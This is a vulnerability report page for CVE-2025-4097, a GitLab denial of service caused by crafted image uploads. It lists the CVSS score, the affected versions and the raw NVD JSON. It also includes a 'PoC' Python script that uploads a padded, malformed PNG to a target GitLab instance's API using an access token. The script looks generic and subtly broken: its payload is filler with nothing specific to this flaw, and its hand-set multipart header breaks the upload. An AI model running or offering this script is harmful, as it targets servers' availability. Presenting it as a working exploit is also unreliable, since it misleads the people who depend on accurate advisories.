Security Vulnerability Report
中文
CVE-2025-4097 CVSS 6.5 MEDIUM

CVE-2025-4097

Published: 2025-12-11 05:16:37
Last Modified: 2025-12-23 21:01:15

Description

GitLab has remediated an issue in GitLab CE/EE affecting all versions from 11.10 before 18.4.6, 18.5 before 18.5.4, and 18.6 before 18.6.2 that could have allowed an authenticated user to cause a denial of service condition by uploading specially crafted images.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:gitlab:gitlab:*:*:*:*:community:*:*:* - VULNERABLE
cpe:2.3:a:gitlab:gitlab:*:*:*:*:enterprise:*:*:* - VULNERABLE
cpe:2.3:a:gitlab:gitlab:*:*:*:*:community:*:*:* - VULNERABLE
cpe:2.3:a:gitlab:gitlab:*:*:*:*:enterprise:*:*:* - VULNERABLE
cpe:2.3:a:gitlab:gitlab:*:*:*:*:community:*:*:* - VULNERABLE
GitLab CE/EE >= 11.10 and < 18.4.6
GitLab CE/EE >= 18.5 and < 18.5.4
GitLab CE/EE >= 18.6 and < 18.6.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-4097 PoC - GitLab DoS via crafted image upload # This PoC demonstrates uploading a specially crafted image to trigger DoS def create_crafted_image(): """Generate a specially crafted image that can trigger DoS in GitLab""" # Crafted image with malicious payload crafted_data = b'\x89PNG\r\n\x1a\n' # PNG header crafted_data += b'\x00\x00\x00\rIHDR' # IHDR chunk crafted_data += b'\x00\x00\x00\x00' * 100 # Malformed data crafted_data += b'\x00' * 10000 # Overflow data return crafted_data def exploit_gitlab(target_url, token): """Upload crafted image to GitLab to trigger DoS""" headers = { 'PRIVATE-TOKEN': token, 'Content-Type': 'multipart/form-data' } crafted_image = create_crafted_image() files = {'file': ('malicious.png', crafted_image, 'image/png')} # Upload to GitLab upload_url = f"{target_url}/api/v4/projects/1/uploads" try: response = requests.post(upload_url, headers=headers, files=files) print(f"Upload response: {response.status_code}") if response.status_code == 201: print("Image uploaded successfully - DoS condition may be triggered") except Exception as e: print(f"Error: {e}") if __name__ == "__main__": if len(sys.argv) < 3: print("Usage: python cve_2025_4097_poc.py <gitlab_url> <access_token>") sys.exit(1) exploit_gitlab(sys.argv[1], sys.argv[2])

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-4097", "sourceIdentifier": "[email protected]", "published": "2025-12-11T05:16:37.153", "lastModified": "2025-12-23T21:01:15.100", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "GitLab has remediated an issue in GitLab CE/EE affecting all versions from 11.10 before 18.4.6, 18.5 before 18.5.4, and 18.6 before 18.6.2 that could have allowed an authenticated user to cause a denial of service condition by uploading specially crafted images."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-770"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:*:*:*:*:community:*:*:*", "versionStartIncluding": "11.10.0", "versionEndExcluding": "18.4.6", "matchCriteriaId": "747FE9B2-8B67-4960-9370-2D5AB5E68090"}, {"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:*:*:*:*:enterprise:*:*:*", "versionStartIncluding": "11.10.0", "versionEndExcluding": "18.4.6", "matchCriteriaId": "EA6AD140-F16F-4AB1-83E8-528C5841B5D9"}, {"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:*:*:*:*:community:*:*:*", "versionStartIncluding": "18.5.0", "versionEndExcluding": "18.5.4", "matchCriteriaId": "457DB333-60BE-44CD-A674-216AB658E14E"}, {"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:*:*:*:*:enterprise:*:*:*", "versionStartIncluding": "18.5.0", "versionEndExcluding": "18.5.4", "matchCriteriaId": "910967DB-0A8C-4436-9D9E-37BD610E7367"}, {"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:*:*:*:*:community:*:*:*", "versionStartIncluding": "18.6.0", "versionEndExcluding": "18.6.2", "matchCriteriaId": "919A2588-3EA1-4E15-B47E-61B3E14B2781"}, {"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:*:*:*:*:enterprise:*:*:*", "versionStartIncluding": "18.6.0", "versionEndExcluding": "18.6.2", "matchCriteriaId": "6343A083-3E1C-4551-B230-76CABC3FDD67"}]}]}], "references": [{"url": "https://about.gitlab.com/releases/2025/12/10/patch-release-gitlab-18-6-2-released/", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://gitlab.com/gitlab-org/gitlab/-/issues/538192", "source": "[email protected]", "tags": ["Broken Link"]}]}}